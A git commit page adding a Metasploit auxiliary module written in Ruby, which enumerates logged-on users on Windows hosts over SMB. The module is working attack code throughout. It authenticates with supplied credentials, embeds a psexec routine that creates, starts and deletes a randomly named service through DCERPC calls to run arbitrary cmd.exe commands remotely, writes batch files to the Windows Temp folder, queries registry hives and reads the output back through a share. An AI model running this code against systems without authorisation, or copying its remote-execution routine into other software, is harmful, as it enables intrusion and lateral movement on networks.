Merge branch 'loggedin_users' of https://github.com/R3dy/metasploit-framework into R3dy-loggedin_users
jvazquez-r7
commit
9cff72af72
|
|
@ -0,0 +1,345 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
|
||||
# Aliases for common classes
|
||||
SIMPLE = Rex::Proto::SMB::SimpleClient
|
||||
XCEPT = Rex::Proto::SMB::Exceptions
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SMB - Query Logged On Users',
|
||||
'Description' => %Q{
|
||||
This module authenticates to a remote host or hosts and determines which users are
|
||||
currently logged in. It uses reg.exe to query the HKU base registry key.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
|
||||
OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']),
|
||||
OptString.new('RPORT', [true, 'The Target port', 445]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
|
||||
# This is the main controller function
|
||||
def run_host(ip)
|
||||
cmd = "C:\\WINDOWS\\SYSTEM32\\cmd.exe"
|
||||
bat = "C:\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
|
||||
text = "\\WINDOWS\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
|
||||
smbshare = datastore['SMBSHARE']
|
||||
|
||||
#Try and authenticate with given credentials
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
rescue StandardError => autherror
|
||||
print_error("#{peer} - #{autherror}")
|
||||
return
|
||||
end
|
||||
|
||||
keys = get_hku(ip, smbshare, cmd, text, bat)
|
||||
if !keys
|
||||
cleanup_after(smbshare, ip, cmd, text, bat)
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
keys.each do |key|
|
||||
check_hku_entry(key, ip, smbshare, cmd, text, bat)
|
||||
end
|
||||
cleanup_after(smbshare, ip, cmd, text, bat)
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
||||
|
||||
# This method runs reg.exe query HKU to get a list of each key within the HKU master key
|
||||
# Returns an array object
|
||||
def get_hku(ip, smbshare, cmd, text, bat)
|
||||
begin
|
||||
# Try and query HKU
|
||||
command = "#{cmd} /C echo reg.exe QUERY HKU ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
||||
out = psexec(command)
|
||||
output = get_output(ip, smbshare, text)
|
||||
cleanout = Array.new
|
||||
output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")}
|
||||
return cleanout
|
||||
rescue StandardError => hku_error
|
||||
print_error("#{peer} - Error runing query against HKU. #{hku_error.class}. #{hku_error}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
# This method will retrive output from a specified textfile on the remote host
|
||||
def get_output(ip, smbshare, file)
|
||||
begin
|
||||
simple.connect("\\\\#{ip}\\#{smbshare}")
|
||||
outfile = simple.open(file, 'ro')
|
||||
output = outfile.read
|
||||
outfile.close
|
||||
simple.disconnect("\\\\#{ip}\\#{smbshare}")
|
||||
return output
|
||||
rescue StandardError => output_error
|
||||
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def report_user(username)
|
||||
report_note = {
|
||||
:host => rhost,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'loggedin users',
|
||||
:data => username
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
|
||||
# This method checks a provided HKU entry to determine if it is a valid SID
|
||||
# Either returns nil or returns the name of a valid user
|
||||
def check_hku_entry(key, ip, smbshare, cmd, text, bat)
|
||||
begin
|
||||
key = key.split("HKEY_USERS\\")[1].chomp
|
||||
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
||||
out = psexec(command)
|
||||
if output = get_output(ip, smbshare, text)
|
||||
domain, username, dnsdomain, homepath, logonserver = "","","","",""
|
||||
# Run this IF loop and only check for specified user if datastore['USERNAME'] is specified
|
||||
if datastore['USERNAME'].length > 0
|
||||
output.each_line do |line|
|
||||
username = line if line.include?("USERNAME")
|
||||
domain = line if line.include?("USERDOMAIN")
|
||||
end
|
||||
if domain.split(" ")[2].to_s.chomp + "\\" + username.split(" ")[2].to_s.chomp == datastore['USERNAME']
|
||||
print_good("#{datastore['USERNAME']} is logged into #{peer}")
|
||||
report_user(datastore['USERNAME'])
|
||||
end
|
||||
return
|
||||
end
|
||||
output.each_line do |line|
|
||||
domain = line if line.include?("USERDOMAIN")
|
||||
username = line if line.include?("USERNAME")
|
||||
dnsdomain = line if line.include?("USERDNSDOMAIN")
|
||||
homepath = line if line.include?("HOMEPATH")
|
||||
logonserver = line if line.include?("LOGONSERVER")
|
||||
end
|
||||
if username.length > 0 && domain.length > 0
|
||||
user = domain.split(" ")[2].to_s + "\\" + username.split(" ")[2].to_s
|
||||
print_good("#{peer} - #{user}")
|
||||
report_user(user)
|
||||
elsif logonserver.length > 0 && homepath.length > 0
|
||||
uname = homepath.split('\\')[homepath.split('\\').size - 1]
|
||||
if uname.include?(".")
|
||||
uname = uname.split(".")[0]
|
||||
end
|
||||
user = logonserver.split('\\\\')[1].chomp.to_s + "\\" + uname.to_s
|
||||
print_good("#{peer} - #{user}")
|
||||
report_user(user)
|
||||
else
|
||||
if username = query_session(smbshare, ip, cmd, text, bat)
|
||||
user = dnsdomain.split(" ")[2].split(".")[0].to_s + "\\" + username.to_s
|
||||
print_good("#{peer} - #{user}")
|
||||
report_user(user)
|
||||
else
|
||||
print_status("#{peer} - Unable to determine user information for user: #{key}")
|
||||
end
|
||||
end
|
||||
else
|
||||
print_status("#{peer} - Could not determine logged in users")
|
||||
end
|
||||
rescue StandardError => check_error
|
||||
print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}")
|
||||
return check_error
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Cleanup module. Gets rid of .txt and .bat files created in the WINDOWS\Temp directory
|
||||
def cleanup_after(smbshare, ip, cmd, text, bat)
|
||||
begin
|
||||
# Try and do cleanup command
|
||||
cleanup = "#{cmd} /C del C:#{text} & del #{bat}"
|
||||
print_status("Executing cleanup on host: #{peer}")
|
||||
out = psexec(cleanup)
|
||||
rescue StandardError => cleanuperror
|
||||
print_error("Unable to processes cleanup commands: #{cleanuperror}")
|
||||
return cleanuperror
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Method trys to use "query session" to determine logged in user
|
||||
def query_session(smbshare, ip, cmd, text, bat)
|
||||
begin
|
||||
command = "#{cmd} /C echo query session ^> C:#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
|
||||
out = psexec(command)
|
||||
userline = ""
|
||||
if output = get_output(ip, smbshare, text)
|
||||
output.each_line { |line| userline << line if line[0] == '>' }
|
||||
else
|
||||
return nil
|
||||
end
|
||||
return userline.split(" ")[1].chomp
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
|
||||
# Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
|
||||
def psexec(command)
|
||||
|
||||
simple.connect("IPC$")
|
||||
|
||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||
vprint_status("#{peer} - Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
vprint_status("#{peer} - Bound to #{handle} ...")
|
||||
|
||||
vprint_status("#{peer} - Obtaining a service manager handle...")
|
||||
scm_handle = nil
|
||||
stubdata =
|
||||
NDR.uwstring("\\\\#{rhost}") +
|
||||
NDR.long(0) +
|
||||
NDR.long(0xF003F)
|
||||
begin
|
||||
response = dcerpc.call(0x0f, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
scm_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
servicename = Rex::Text.rand_text_alpha(11)
|
||||
displayname = Rex::Text.rand_text_alpha(16)
|
||||
holdhandle = scm_handle
|
||||
svc_handle = nil
|
||||
svc_status = nil
|
||||
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(servicename) +
|
||||
NDR.uwstring(displayname) +
|
||||
|
||||
NDR.long(0x0F01FF) + # Access: MAX
|
||||
NDR.long(0x00000110) + # Type: Interactive, Own process
|
||||
NDR.long(0x00000003) + # Start: Demand
|
||||
NDR.long(0x00000000) + # Errors: Ignore
|
||||
NDR.wstring( command ) +
|
||||
NDR.long(0) + # LoadOrderGroup
|
||||
NDR.long(0) + # Dependencies
|
||||
NDR.long(0) + # Service Start
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) + # Password
|
||||
NDR.long(0) # Password
|
||||
begin
|
||||
vprint_status("#{peer} - Creating the service...")
|
||||
response = dcerpc.call(0x0c, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
svc_status = dcerpc.last_response.stub_data[24,4]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Opening service...")
|
||||
begin
|
||||
stubdata =
|
||||
scm_handle +
|
||||
NDR.wstring(servicename) +
|
||||
NDR.long(0xF01FF)
|
||||
|
||||
response = dcerpc.call(0x10, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Starting the service...")
|
||||
stubdata =
|
||||
svc_handle +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
begin
|
||||
response = dcerpc.call(0x13, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Removing the service...")
|
||||
stubdata =
|
||||
svc_handle
|
||||
begin
|
||||
response = dcerpc.call(0x02, stubdata)
|
||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||
end
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Closing service handle...")
|
||||
begin
|
||||
response = dcerpc.call(0x0, svc_handle)
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Error: #{e}")
|
||||
end
|
||||
|
||||
select(nil, nil, nil, 1.0)
|
||||
simple.disconnect("IPC$")
|
||||
return true
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue